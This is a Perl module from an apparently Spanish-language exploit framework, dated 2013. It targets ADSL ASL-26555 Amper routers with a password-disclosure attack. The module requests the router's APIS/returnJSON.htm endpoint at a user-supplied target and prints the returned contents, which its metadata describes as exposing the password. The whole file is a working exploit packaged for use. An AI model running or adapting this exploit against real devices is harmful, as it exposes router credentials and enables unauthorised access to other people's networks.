####
#  _________.__                 .__ __    ________         
# /   _____/|  |__  __ _________|__|  | __\_____  \  ____  
# \_____  \ |  |  \|  |  \_  __ \  |  |/ /  _(__  < /    \ 
# /        \|   Y  \  |  /|  | \/  |    <  /       \   |  \
#/_______  /|___|  /____/ |__|  |__|__|_ \/______  /___|  /
#        \/      \/                     \/       \/     \/ 
#
#                    Dshellnoi Unix  2013
#                      
#   CLASE      :        EXPLOITS::LOCAL::ASL_26555_Amper                                                             
#   CREADO POR   :      Dshellnoi Unix   
#   CORREO       :      templesec0day@gmail.com                    
#   FECHA:              30-4-2013                             
#   ACTUALIZACION:      
#   VERSION      :      0.1                            
#                                                                
#   LICENCIA:                                                 
#            SUJETO A LA LICENCIA SHURIK3N WEB TOOL           
####

package EXPLOITS::LOCAL::ASL_26555_Amper ;
use strict;
use LWP::Simple;
use LIBS::GNRL::Texto ;
use LIBS::GNRL::Colores ;

use vars qw($VERSION @ISA);
@ISA = qw(); 
$VERSION = '0.01';


sub new {

    my($class) = @_;
    
     my $self =  ( { Title        => "ADSL ASL-26555 Amper password Disclosure",
                    Author        => "Alberto Ortega",
                    Date          => "18-08-2012",
                    Ranking       => "Good",
                    Platform      => "NULL",
                    Tested        => "ASL-26555 Amper",
                    Type          => "LOCAL",
                    OSVDB         => "NULL",
                    CVE           => "NULL",
                    CWE           => "NULL", 
                    Webauthor     => "http://www.securitybydefault.com/2012/08/nuevos-routers-asl-26555-de-movistar.html", 
                    Descrition    =>qq[ADSL ASL-26555 Amper password Disclosure],

                    ARG           => [
                                      ["TARGET","Set the target"       ,1],
                                     ],
                  


                 });
     

    bless($self, $class);
    return $self;
}


sub run
{

my($self,@data) = @_;  

my $url =  "$data[0]";



##
## COMPROVAMOS URI
##

if($url !~ /\/$/){
$url = $url."/";
}

my $cmp_uri = LIBS::GNRL::Texto->new();
   $cmp_uri->cmp_url($url); 

 my $content = get("$url"."APIS/returnJSON.htm");

if(! defined $content){

   my $err =  LIBS::GNRL::Colores->new(); 
   $err->pinta("ROJO", "[-]Fail, check the path of the gateway\n") ;
   goto SHELL; 
}
  

print $content ."\n" ;

}

1;